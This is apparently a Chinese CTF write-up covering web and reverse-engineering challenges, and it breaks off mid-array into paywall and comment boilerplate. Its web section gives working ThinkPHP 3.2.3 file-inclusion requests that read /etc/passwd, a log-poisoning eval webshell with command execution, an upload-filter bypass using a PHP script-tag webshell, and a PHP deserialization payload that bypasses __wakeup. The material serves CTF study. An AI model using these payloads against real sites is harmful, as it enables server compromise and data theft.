WEB：
eztp1
给源码了 thinkphp3.2.3,index路由有个 textBox方法，简单的设置参数和渲染，
3.2.3 有个文件包含，关键点就是File.class.php 里的变量覆盖，但是这边assign方法的第一个参数定死了，所以这里其实没办法覆盖filename。
上边有个parse_str函数去解析post.query 变量覆盖,继续往下看$this->display(T("Home@default/list"));这里去渲染了list.html,调用 W方法，重点应该在这parse_str函数和W方法
看渲染成功生产的php页面，这里调用 W方法并且传入的 参数param是可控的
一路跟进到R方法，这里去调用call_user_func_array
可以看到函数名是定死的Home\Widget\queryWidget 但是参数可控param(就是我们传入的query) 通过$this->assign("array",$array);赋值给了array
继续跟queryWidget 这里把array数组里的 name、tag、id 作为参数调用B方法。
B方法里直接调用\Think\Hook::exec ，注意这里跟的时候必须得传name和id参数 query=name%253d1%2526id%3d1%2526tag%3d1，不然不会进入if
到这里直接下一步，可以看到exec方法里可以执行任意类的任意方法并且参数可控，唯一的限制就是只能有一个参数。
这里直接用那个文件包含漏洞File.class.php 里的file.load，可以任意文件包含，直接读文件试试
query=name%253d\Think\Storage\Driver\File%2526id%3d/etc/passwd%2526tag%3dload
读成功了
但是在题目环境里没有找到flag，利用包含日志文件getshell
构造报错，注意要用bp发，浏览器会自动编码。
GET /index.php?m=--><?=eval($_GET['cmd']);?> HTTP/1.1
Host: 172.16.30.172:58002
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
接着包含日志文件就行了
POST /?m=Home&c=Index&a=textBox&cmd=system('cat+/Secret_is_h3re'); HTTP/1.1
Host: 172.16.30.172:58002
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 110
Content-Type: application/x-www-form-urlencoded
query=name%253d\Think\Storage\Driver\File%2526id%3dApplication/Runtime/Logs/Common/22_06_18.log%2526tag%3dload
Identity2:
打开题目，根据提示发送请求包，抓取响应包：
将GuessWhatThis1sY0urIdentity再次提交得到文件上传地址h1dden_p4ge.php
经过一系列测试能够得到以下结论：
- <? 被过滤
- 后缀名会被截取，再次拼接到文件名中
- 中间件版本Apache/2.4.7
因此使用木马如下
<script language="pHp">@eval($_POST['sb'])</script>
后缀会被拼接，大小写能够绕过，只要是php结尾，拼接无所谓呀
因此构建文件名：
Husins.jpg.Php
上传之后访问，连接蚁剑
拿到flag
ezssti:
直接tplmap 一把梭，嗦就完事了
ezser3:
反序列化链
B __destruct >A __get=>A __get=>A __call=>C getFlag
设置$this->functions 为array("_name"=>array(new C(),'getFlag'))这样调用 call_user_func_array($this->functions[$name],$arg) 时相当于调用 call_user_func_array(array("_name"=>array(new C(),'getFlag')),$arg)。
但是这里A类的wakeup方法会制空，需要绕过__wakeup方法，通过回包可以看到PHP版本为8，这样就没办法用修改大小的方法绕过了。
public function __wakeup(){
echo "serA";
$this->functions = [];
}
利用 R:2;元素。它的意思是“引用第二个值”， 作用相当于是指针。
$a = ["foo"];
$a[1] =& $a[0];
a:2:{
i:0;s:3:"foo";i:1;R:2;}
这里相当于a数组的第二个参数引用整个序列化数组的第二个值也就是foo，或者也可以直接引用变量，这样当变量改变时，引用他的值也会随之改变。回到题目B类的wakeup函数有个赋值操作。
$this->a = $this->b;
如果B类的__wakeup反序列化时调用在A类的__wakeup之后，我们将
A 的 $this->functions 引用为$a 再设置$b 为array("_name"=>array(new C(),'getFlag')) 这样就可以在$this->functions制空之后，在重新赋值。这样就相当于绕过了A类的__wakeup
本地测试一下调用顺序，可以看到B类的
反序列化时调用顺序没问题构造payload
<?php
error_reporting(0);
class A{
private $functions=9999;
public function __wakeup(){
echo "serA";
$this->functions = [];
}
public function __call($name,$arg){
call_user_func_array($this->functions[$name],$arg);
}
public function __get($name){
$this->__call($name,[]);
}
}
class B{
private $a;
private $b;
public $c;
public function __construct()
{
$this->b=array("_name"=>array(new C(),'getFlag'));
}
public function __destruct(){
$this->b=array("_name"=>array(new C(),'getFlag'));
echo "serB1";
echo $this->c->_name;
}
public function __wakeup(){
echo "serB2";
$this->a = $this->b;
}
}
class C{
public function getFlag(){
echo file_get_contents("/etc/passwd");
}
}
$a1 = new B();
$a2 = new A();
$a1->c = $a2;
echo serialize($a1);
echo urlencode(serialize($a1));
echo urlencode(str_replace("i:9999","R:2",serialize($a1)));
因为有私有参数，所以得url编码一下
Payload
O%3A1%3A%22B%22%3A3%3A%7Bs%3A4%3A%22%00B%00a%22%3BN%3Bs%3A4%3A%22%00B%00b%22%3Ba%3A1%3A%7Bs%3A5%3A%22_name%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A1%3A%22C%22%3A0%3A%7B%7Di%3A1%3Bs%3A7%3A%22getFlag%22%3B%7D%7Ds%3A1%3A%22c%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A12%3A%22%00A%00functions%22%3BR%3A2%3B%7D%7D
RE
easycpp1:
逆向得出加密算法如下
flag = 'flag{12345678876543211234567887654321}'
flag_c = []
f = []
for i in range(38):
flag_c.append(ord(flag[i]))
print flag_c
for i in range(35):
flag_c[i] = flag_c[i]^flag_c[i+1]
flag_c[i+1] = flag_c[i+1]^flag_c[i+2]
flag_c[i+2] = flag_c[i+2]^flag_c[i+3]
for i in range(38):
f.append(hex(flag_c[i]))
print f
print len(f)
写出解密算法
cipher = [0x0A, 0x0B, 0x7D, 0x2F, 0x7F, 0x67, 0x65, 0x30, 0x63, 0x60, 0x37, 0x3F, 0x3C, 0x3F, 0x33, 0x3A,0x3C, 0x3B, 0x35, 0x3C, 0x3E, 0x6C, 0x64, 0x31, 0x64, 0x6C, 0x3B, 0x68, 0x61, 0x62, 0x65, 0x36,0x33, 0x60, 0x62, 0x36, 0x1C, 0x7D]
f = ''
cipher = cipher[::-1]
flag = ''
for i in range(35):
cipher[i+1] = (cipher[i]^cipher[i+1])
cipher[i+2] = (cipher[i+1]^cipher[i+2])
cipher[i+3] = (cipher[i+2]^cipher[i+3])
cipher = cipher[::-1]
for x in range(38):
flag += chr(cipher[x])
print flag
hana3:
IDA打开发现段名称为vmp，仔细检查发现实际加壳为upx，只是将段名进行了修改。把段名改回为UPX，使用upx -d可以将壳脱下。
静态审计发现并未找到报错信息Wrong，直接使用动态调试断在输入处，通过查找栈回溯可以找到关键逻辑处理的地方。
向下可以找到check处。
输入测试数据格式为flag{}，通过观察输入测试数据加密过后的密文和flag的密文，猜测为xor运算，反查直接得到key，这样可以省去逆向的过程。使用exp直接解密验证。
cip = [0x56,0xEC,0xA0,0xDC,0x57,0x06,0xFE,0xA3,0xEB,0x72,0xEA,0x97,0xE2,0x87,0x03,0xAA,0x18,0x6A,0xF3,0xBE,0xBD,0xDA,0x79,0x0A,0x98,0x36,0x12,0x5C,0xE0,0x94,0x61,0x5A, 0x42,0xBC,0x4B,0x01,0x49,0x7B,0x5F]
flag = 'flag{12345678876543211234567887654321}'
cip2 = [0x56,0xEC,0xA0,0xDC,0x57,0x07,0xF4,0xA3,0xE9,0x77,0xBF,0x93,0xBC,0x86,0x52,0xA5,0x14,0x6A,0xA5,0xBD,0xB5,0xD2,0x7F,0x0B,0x9B,0x67,0x1D,0x08,0xEF,0xC9,0x32,0x5D,0x43,0xED,0x1E,0x01,0x4B,0x7B,0x01]
flag2 = ''
key = []
for i in range(len(flag)):
key.append(ord(flag[i])^cip[i])
print key
for i in range(len(key)):
flag2 += chr(key[i]^cip2[i])
print flag2
Crackme1
这题利用jadx-gui打开
查看发现密文是每4位进行一个md5加密 分开解密即可
happymath
使用ida打开，通过Wrong字符交叉引用找到主要部分
首先限制了输入范围97-102或者48-57
调整v4、v7爆破即可
#include <iostream>
#include <cstdio>
#include <cstring>
using namespace std;
int main()
{
unsigned int dword_140024630[] = {
0x00000000, 0xF26B8303, 0xE13B70F7, 0x1350F3F4, 0xC79A971F, 0x35F1141C, 0x26A1E7E8, 0xD4CA64EB, 0x8AD958CF, 0x78B2DBCC, 0x6BE22838, 0x9989AB3B, 0x4D43CFD0, 0xBF284CD3, 0xAC78BF27, 0x5E133C24, 0x105EC76F, 0xE235446C, 0xF165B798, 0x030E349B, 0xD7C45070, 0x25AFD373, 0x36FF2087, 0xC494A384, 0x9A879FA0, 0x68EC1CA3, 0x7BBCEF57, 0x89D76C54, 0x5D1D08BF, 0xAF768BBC, 0xBC267848, 0x4E4DFB4B, 0x20BD8EDE, 0xD2D60DDD, 0xC186FE29, 0x33ED7D2A, 0xE72719C1, 0x154C9AC2, 0x061C6936, 0xF477EA35, 0xAA64D611, 0x580F5512, 0x4B5FA6E6, 0xB93425E5, 0x6DFE410E, 0x9F95C20D, 0x8CC531F9, 0x7EAEB2FA, 0x30E349B1, 0xC288CAB2, 0xD1D83946, 0x23B3BA45, 0xF779DEAE, 0x05125DAD, 0x1642AE59, 0xE4292D5A, 0xBA3A117E, 0x4851927D, 0x5B016189, 0xA96AE28A, 0x7DA08661, 0x8FCB0562, 0x9C9BF696, 0x6EF07595, 0x417B1DBC, 0xB3109EBF, 0xA0406D4B, 0x522BEE48, 0x86E18AA3, 0x748A09A0, 0x67DAFA54, 0x95B17957, 0xCBA24573, 0x39C9C670, 0x2A993584, 0xD8F2B687, 0x0C38D26C, 0xFE53516F, 0xED03A29B, 0x1F682198, 0x5125DAD3, 0xA34E59D0, 0xB01EAA24, 0x42752927, 0x96BF4DCC, 0x64D4CECF, 0x77843D3B, 0x85EFBE38, 0xDBFC821C, 0x2997011F, 0x3AC7F2EB, 0xC8AC71E8, 0x1C661503, 0xEE0D9600, 0xFD5D65F4, 0x0F36E6F7, 0x61C69362, 0x93AD1061, 0x80FDE395, 0x72966096, 0xA65C047D, 0x5437877E, 0x4767748A, 0xB50CF789, 0xEB1FCBAD, 0x197448AE, 0x0A24BB5A, 0xF84F3859, 0x2C855CB2, 0xDEEEDFB1, 0xCDBE2C45, 0x3FD5AF46, 0x7198540D, 0x83F3D70E, 0x90A324FA, 0x62C8A7F9, 0xB602C312, 0x44694011, 0x5739B3E5, 0xA55230E6, 0xFB410CC2, 0x092A8FC1, 0x1A7A7C35, 0xE811FF36, 0x3CDB9BDD, 0xCEB018DE, 0xDDE0EB2A, 0x2F8B6829, 0x82F63B78, 0x709DB87B, 0x63CD4B8F, 0x91A6C88C, 0x456CAC67, 0xB7072F64, 0xA457DC90, 0x563C5F93, 0x082F63B7, 0xFA44E0B4, 0xE9141340, 0x1B7F9043, 0xCFB5F4A8, 0x3DDE77AB, 0x2E8E845F, 0xDCE5075C, 0x92A8FC17, 0x60C37F14, 0x73938CE0, 0x81F80FE3, 0x55326B08, 0xA759E80B, 0xB4091BFF, 0x466298FC, 0x1871A4D8, 0xEA1A27DB, 0xF94AD42F, 0x0B21572C, 0xDFEB33C7, 0x2D80B0C4, 0x3ED04330, 0xCCBBC033, 0xA24BB5A6, 0x502036A5, 0x4370C551, 0xB11B4652, 0x65D122B9, 0x97BAA1BA, 0x84EA524E, 0x7681D14D, 0x2892ED69, 0xDAF96E6A, 0xC9A99D9E, 0x3BC21E9D, 0xEF087A76, 0x1D63F975, 0x0E330A81, 0xFC588982, 0xB21572C9, 0x407EF1CA, 0x532E023E, 0xA145813D, 0x758FE5D6, 0x87E466D5, 0x94B49521, 0x66DF1622, 0x38CC2A06, 0xCAA7A905, 0xD9F75AF1, 0x2B9CD9F2, 0xFF56BD19, 0x0D3D3E1A, 0x1E6DCDEE, 0xEC064EED, 0xC38D26C4, 0x31E6A5C7, 0x22B65633, 0xD0DDD530, 0x0417B1DB, 0xF67C32D8, 0xE52CC12C, 0x1747422F, 0x49547E0B, 0xBB3FFD08, 0xA86F0EFC, 0x5A048DFF, 0x8ECEE914, 0x7CA56A17, 0x6FF599E3, 0x9D9E1AE0, 0xD3D3E1AB, 0x21B862A8, 0x32E8915C, 0xC083125F, 0x144976B4, 0xE622F5B7, 0xF5720643, 0x07198540, 0x590AB964, 0xAB613A67, 0xB831C993, 0x4A5A4A90, 0x9E902E7B, 0x6CFBAD78, 0x7FAB5E8C, 0x8DC0DD8F, 0xE330A81A, 0x115B2B19, 0x020BD8ED, 0xF0605BEE, 0x24AA3F05, 0xD6C1BC06, 0xC5914FF2, 0x37FACCF1, 0x69E9F0D5, 0x9B8273D6, 0x88D28022, 0x7AB90321, 0xAE7367CA, 0x5C18E4C9, 0x4F48173D, 0xBD23943E, 0xF36E6F75, 0x0105EC76, 0x12551F82, 0xE03E9C81, 0x34F4F86A, 0xC69F7B69, 0xD5CF889D, 0x27A40B9E, 0x
最低0.47元/天 解锁文章
784
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
